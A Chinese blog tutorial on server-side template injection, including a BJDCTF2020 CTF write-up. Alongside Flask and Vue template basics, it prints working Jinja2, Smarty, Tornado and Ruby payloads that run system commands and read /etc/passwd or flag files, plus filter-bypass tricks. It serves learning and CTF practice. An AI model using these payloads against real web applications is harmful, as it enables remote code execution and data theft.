ssti服务器模板注入

ssti:利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点。SSTI 攻击可以用来找出 Web 应用程序的内容结构。

slot

Slot的理解:solt是“占坑”,在组件模板中占好了位置,当使用该组件标签时候,组件标签里面的内容就会自动填坑(替换组件模板中位置),当插槽也就是坑有命名时,组件标签中使用属性slot=”mySlot”的元素就会替换该对应位置内容,可以实现父组件对子组件的传参,要注意是父组件传入子组件

<Child>

<span slot="header">hello world</span>

<span slot="main">hello world</span>

<span slot="footer">hello world</span>

<span slot="other">{{otherData}}</span>

</Child>

<template>

<div>

<slot  name=”header”>这是拥有命名的slot的默认内容</slot>

<slot  name=”main”>这是拥有命名的slot的默认内容</slot>

<slot  name=”footer”>这是拥有命名的slot的默认内容</slot>

<slot  name=”other”>这是拥有命名的slot的默认内容</slot>

</div>

</template>

作用域插槽:

  <ul>

      <slot name="item" v-for="item in items" :text="item.text" :myname="item.myname" >

         slot的默认内容

      </slot>

   </ul>

   <Child>

      <template slot="item" scope="props">

        <li>{{props.myname}}</li>

      </template>

   </Child>

https://www.jianshu.com/p/ee9dd640f23a

https://www.jianshu.com/p/50dcf932a159

https://blog.csdn.net/kingov/article/details/78293384?utmmedium=distribute.pcrelevant.none-task-blog-BlogCommendFromMachineLearnPai2-10.nonecase&depth_1-utmsource=distribute.pcrelevant.none-task-blog-BlogCommendFromMachineLearnPai2-10.nonecase

Flask框架

render_template模板渲染
@app.route('/login.php')
def index():
return render_template('temp_demo1.html')

该函数能将我们模板的内容进行渲染返回。

@app.route('/login.php')
def index():
my_str = 'Hello' //传入的数据
my_int = 10
my_array = [3, 4, 2, 1, 7, 9]
my_dict = {
'name': 'xiaoming',
'age': 18
}
return render_template('temp_demo1.html', //html文件
my_str=my_str, //传过去的宏
my_int=my_int,
my_array=my_array,
my_dict=my_dict
)

模板代码:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
我的模板html内容
<br/>{{ my_str }} //调用了传来的宏
<br/>{{ my_int }}
<br/>{{ my_array }}
<br/>{{ my_dict }} </body>
</html> 我的模板html内容
Hello
10
[3, 4, 2, 1, 7, 9]
{'name': 'xiaoming', 'age': 18}
if判断语句
{%if user.is_logged_in() %}
<a href='/logout'>Logout</a>
{% else %}
<a href='/login'>Login</a>
{% endif %}
循环语句
{% for post in posts %}
<div>
<h1>{{ post.title }}</h1>
<p>{{ post.text | safe }}</p>
</div>
{% endfor %}

为了避免反复地编写同样的模板代码,出现代码冗余,可以把宏写成函数以进行重用。

定义一个宏:

 {% macro input(name,value='',type='text') %}
<input type="{{type}}" name="{{name}}"
value="{{value}}" class="form-control">
{% endmacro %}

调用宏:

{{ input('name' value='zs')}}

输出:

<input type="text" name="name" value="zs" class="form-control">

包含:

{% include 'hello.html' %}

继承:

{% extends 'base.html' %}
{% block content %}
ssti漏洞

关于ssti漏洞,我们有render _ template函数以及render_ template _string函数,他们都是提供渲染的。

原理:模版引擎一般都默认对渲染的变量值进行编码和转义,所以并不会造成跨站脚本攻击,但是当渲染的模版内容受到用户的控制就如同下面方式:

"Hello {$_GET['name']}"(这里是php,在python也不要直接%s进行拼接)

此时这段代码在构建模版时,拼接了用户输入作为模板的内容,现在如果再向服务端直接传递 JavaScript 代码,用户输入会原样输出,服务端相信了用户的输出。

同时,模板引擎对于{{ 变量 }} 除了可以输出传递的变量以外,还能执行一些基本的表达式然后将其结果作为该模板变量的值,例如{{2*10}},那么会直接的进行执行输出20.

ssti之命令执行

在python环境当中我们的命令执行需要使用os模块以便我们调用系统命令。

payload:

#python3
#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
#python2
#读文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
#写文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

关于上方payload的实现,我查看了这些属性的含义:

__class__  返回类型所属的对象
__mro__ Method Resolution Order代表着解析方法调用的顺序,他会返回一个包含对象所继承的基类元组,会按照元组的顺序解析。
__base__ 返回该对象所继承的基类
__base__和__mro__都是用来寻找基类的 __subclasses__ 每个新类都保留了子类的引用,dump所有存在于应用程序中可引用的类
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用

分步查看:

http://127.0.0.1:5000/test/?id={{%20%27%27.__class__}}

此时返回:

<type 'str'> //返回类型所属的对象为str,也确实因为我们前边设置了''这个空字符串

接下来我们使用mro属性访问对象的继承类
http://127.0.0.1:5000/test/?id={{%20%27%27.__class__.__mro__%20}}

此时返回:

(<type 'str'>, <type 'basestring'>, <type 'object'>)

我们加上数组:http://127.0.0.1:5000/test/?id={{%20%27%27.__class__.__mro__[1]%20}}
返回:

<type 'basestring'> //此时第一类就是basestring

此时我们想追溯根对象类:查看object,利用subclassesdump所有存在于应用程序中可引用的类。

http://127.0.0.1:5000/test/?id={{%20%27dd%27.__class__.__mro__[2].__subclasses__()%20}}
返回:

[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>...还有很多]

我们在添加一个数组让他单个输出:

http://127.0.0.1:5000/test/?id={{%27%27.__class__.__mro__[2].__subclasses__()[1]}}

此时输出:

<type 'weakref'>看到了元组的第一个元素。

因为此时我们想要执行命令,我们要对我们这个类进行初始化利用:

__init__  类的初始化方法
__globals__ 对包含函数全局变量的字典的引用

调用类索引使用read方法打开文件: //写的话我们可以使用write。

{{ ''.__class__.__mro__[2].__subclasses__()[67]('/etc/passwd').read() }}其中[67]是<type 'file'>类索引,我们就这样直接打开了。

也可以''.__class__.__mro__[1].__subclasses__()[118].__init__.__globals__['popen']('NEWS.txt').read() 这些都成功的读取到了文件。

命令执行:
我们找到os模块,利用脚本:

for a in range(0,444):
i=' '.__class__.__mro__[1].__subclasses__()[a]
print(a)
print(i)

payload:

{{''.__class__.__mro__[1].__subclasses__()[118].__init__.__globals__['popen']('命令').read()}}这样就可以了。

当然我们也可以自己编写好flask语句然后执行。例如:

http://127.0.0.1:5000/login?name={% for item in person %}<p>{{ item, person[item] }}</p>{% endfor %}

5.26新增

[BJDCTF2020]The mystery of ip 1

点进去有Flag页,所以点进去看一眼,发现返回了我当前的ip地址了,F12看一下HINT的源代码,看到注释<!-- Do you know why i know your ip? -->,可能跟这有关系,猜测可能是跟某方面的信息来得到的,X-Forwarded-For就很有可能,

GET /flag.php HTTP/1.1
Host: 9704-27a30dc9-6031-4b24-b4d5-ae405f31a2bbnode3.buuoj.cn:26143
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
X-Forwarded-for: 2
Referer: http://9704-27a30dc9-6031-4b24-b4d5-ae405f31a2bbnode3.buuoj.cn:26143/
Upgrade-Insecure-Requests: 1

此时服务端:

<div class="form-group log">
<label><h2>Your IP is : 2 </h2></label>
</div>

照搬输出,呢么很可能存在某块漏洞,尝试模板注入{{1}},确实存在模板注入,判断类型为smarty

payload:

{if phpinfo()}{/if}
{if system('ls')}{/if}
{readfile('/flag')}或者为
{if show_source('/flag')}{/if}或者为
{if system('cat ../../../flag')}{/if}三种方法都能读到flag,另外包含双括号单括号都是可以的
关于smarty的ssti模板注入

Smarty 是一款 PHP 的模板语言。它使用安全模式来执行不信任的模板。它只运行 PHP 白名单里的函数,因此我们不能直接调用 system()。然而我们可以从模板已有的类中进行任意调用。Smarty是基于PHP开发的,对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别,Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令,Smarty3已经废弃{php}标签。在Smarty 3.1,{php}仅在SmartyBC中可用。

Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如||, or, &&, and, is_array(), 等等

附:在php5的环境我们可以使用 <script language=”php”>phpinfo();</script>,以往只知道这个用法不知道在PHP7下是不行的


不同模板的不同payload

Ruby

<%= 7 * 7 %>
<%= File.open('/etc/passwd').read %>

Java

${7*7}

Twig

{{7*7}}

Smarty

{php}echo `id`;{/php}

AngularJS

$eval('1+1')

Tornado

引用模块 {% import module %}
=> {% import os %}{{ os.popen("whoami").read() }}

Flask/Jinja2

{{ config.items() }}
{{''.__class__.__mro__[-1].__subclasses__()}}

Django

{{ request }}
{% debug %}
{% load module %}
{% include "x.html" %}
{% extends "x.html" %}

同一个可执行的 payload 会在不同引擎中返回不同的结果,比方说{{7*'7'}}会在 Twig 中返回49,而在 Jinja2 中则是7777777。

关于自动转义

在jinja模板中,后缀不为(‘.html’, ‘.htm’, ‘.xml’, ‘.xhtml’)的是不会启用自动转义的flask调用jinja时的Environment函数,默认启动自动转义的文件名后缀为(‘.html’, ‘.htm’, ‘.xml’, ‘.xhtml’)

jinja的html转义有两种,自动转义和手工转义。手动转义:转义通过用管道传递到过滤器 |e 来实现: {{ user.username|e }} 。自动转义就是调用Environment函数时指定autoescape参数(一般是一个函数,输入值为模板名,输出为布尔值,判断后缀返回True和Flase来指定是否开启)来开启,某些字符不需要转义时使用过滤器|safe。或者自动转义扩展在模板中指定是否开启。{% autoescape true %}自动转义在这块文本中是开启的。{% endautoescape %}

https://www.freebuf.com/articles/web/88768.html

https://www.jianshu.com/p/aef2ae0498df

https://www.freebuf.com/articles/system/97146.html

绕过技巧

字符串拼接:

``request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]``

使用参数绕过
Twig
Twig 不会转义静态表达式:

    {% set hello = "<strong>Hello</strong>" %}
{{ hello }}
{{ "<strong>world</strong>" }} 将会被渲染为 "<strong>Hello</strong>world".

SSTI服务器模板注入(以及关于渲染,solt的学习)&&[BJDCTF2020]The mystery of ip 1的更多相关文章

  1. SSTI(服务器模板注入)学习

    SSTI(服务器模板注入)学习 0x01 SSTI概念 SSTI看到ss两个字母就会想到服务器,常见的还有SSRF(服务器端请求伪造).SSTI就是服务器端模板注入(Server-Side Templ ...

  2. CTF SSTI(服务器模板注入)

    目录 基础 一些姿势 1.config 2.self 3.[].() 3.url_for, g, request, namespace, lipsum, range, session, dict, g ...

  3. 1. SSTI(模板注入)漏洞(入门篇)

    好久没更新博客了,现在主要在作源码审计相关工作,在工作中也遇到了各种语言导致的一些SSTI,今天就来大概说一下SSTI模板注入这个老生常谈的漏洞 前言 模板引擎 模板引擎(这里特指用于Web开发的模板 ...

  4. [BJDCTF2020]Mark loves cat && [BJDCTF 2nd]简单注入 && [BJDCTF2020]The mystery of ip

    [BJDCTF2020]Mark loves cat 源码泄露 使用GitHack.py下载源码 下载之后对源代码进行审计 flag.php代码为: <?php $flag = file_get ...

  5. XFF SSTI 模板注入 [BJDCTF2020]The mystery of ip

    转自https://www.cnblogs.com/wangtanzhi/p/12328083.html SSTI模板注入:之前也写过:https://www.cnblogs.com/wangtanz ...

  6. Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)

    0x00 漏洞描述 Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统.该系统主要用于对工作中各类问题.缺陷进行跟踪管理. Atlassian Jira Server和 ...

  7. [BJDCTF2020]The mystery of ip|[CISCN2019 华东南赛区]Web11|SSTI注入

    记录一下BUUCTF中两个类似的SSTI注入关卡 [BJDCTF2020]The mystery of ip-1: 1.打开之后显示如下: 2.在hint.php中进行了相关提示,如下: 3.既然获取 ...

  8. Flask模板注入

    Flask模板注入 Flask模板注入漏洞属于经典的SSTI(服务器模板注入漏洞). Flask案例 一个简单的Flask应用案例: from flask import Flask,render_te ...

  9. SSTI服务端模板注入漏洞原理详解及利用姿势集锦

    目录 基本概念 模板引擎 SSTI Jinja2 Python基础 漏洞原理 代码复现 Payload解析 常规绕过姿势 其他Payload 过滤关键字 过滤中括号 过滤下划线 过滤点.(适用于Fla ...

随机推荐

  1. Trapdoors for Hard Lattices and New Cryptographic Constructions

    郑重声明:原文参见标题,如有侵权,请联系作者,将会撤销发布! 以下是对本文关键部分的摘抄翻译,详情请参见原文. Abstract 我们展示了如何构造各种“trapdoor”密码工具,假设标准格问题的最 ...

  2. Java中动态规则的实现方式

    背景 业务系统在应用过程中,有时候要处理“经常变化”的部分,这部分需求可能是“业务规则”,也可能是“不同的数据处理逻辑”,这部分动态规则的问题,往往需要可配置,并对性能和实时性有一定要求. Java不 ...

  3. python爬虫-爬取豆瓣电影数据

    #!/usr/bin/python# coding=utf-8# 作者 :Y0010026# 创建时间 :2018/12/16 16:27# 文件 :spider_05.py# IDE :PyChar ...

  4. 8点了解Java服务端单元测试

    一. 前言 单元测试并不只是为了验证你当前所写的代码是否存在问题,更为重要的是它可以很大程度的保障日后因业务变更.修复Bug或重构等引起的代码变更而导致(或新增)的风险. 同时将单元测试提前到编写正式 ...

  5. 【Android】Listview返回顶部,快速返回顶部的功能实现,详解代码。

    作者:程序员小冰,GitHub主页:https://github.com/QQ986945193 新浪微博:http://weibo.com/mcxiaobing 首先给大家看一下我们今天这个最终实现 ...

  6. SpiderMonkey教程

    https://technotales.wordpress.com/2009/06/07/spidermonkey-introduction/ https://developer.mozilla.or ...

  7. 【HttpRunner v3.x】笔记 ——5. 测试用例-config

    上一篇中,我们了解到了config,在配置中,我们可以配置测试用例级级别的一些设置,比如基础url.验证.变量.导出. 我们一起来看,官方给出的一个例子: from httprunner import ...

  8. 单元测试框架 python

    1.为什么要做单元测试 单元测试更细致.更有针对性 单元测试能测试到很多系统测试无法达到的测试 单元测试是在编码中做的测试,发现问题方便修改,而系统测试的问题修改成本可能变高 单元测试是自动化测试 2 ...

  9. P1020 导弹拦截(nlogn求最长不下降子序列)

    题目描述 某国为了防御敌国的导弹袭击,发展出一种导弹拦截系统.但是这种导弹拦截系统有一个缺陷:虽然它的第一发炮弹能够到达任意的高度,但是以后每一发炮弹都不能高于前一发的高度.某天,雷达捕捉到敌国的导弹 ...

  10. Google Kick Start 2020 Round B T4 Wandering Robot

    题意 一个\(n \times m\)的矩形空间,起点是\((1,1)\),终点是\((n,m)\). 假设当前位于\((x,y)\): 如果当前位于最后一行,那么下一步只能走向\((x,y+1)\) ...